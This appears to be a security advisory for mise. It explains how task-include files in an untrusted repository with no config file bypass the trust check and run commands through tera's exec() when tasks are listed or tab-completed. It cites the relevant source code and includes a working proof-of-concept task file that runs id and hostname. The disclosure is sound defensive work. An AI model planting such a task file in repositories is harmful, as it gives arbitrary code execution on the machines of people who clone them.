Description

Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

src/config/config_file/mise_toml.rs:276 — MiseToml::from_str → trust_check(path)?

src/config/config_file/tool_versions.rs:62 — .tool-versions parser → trust_check(&path)?

src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() { … })
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);...
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default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ;        // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … }  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux 

Mitigation

Aliases

References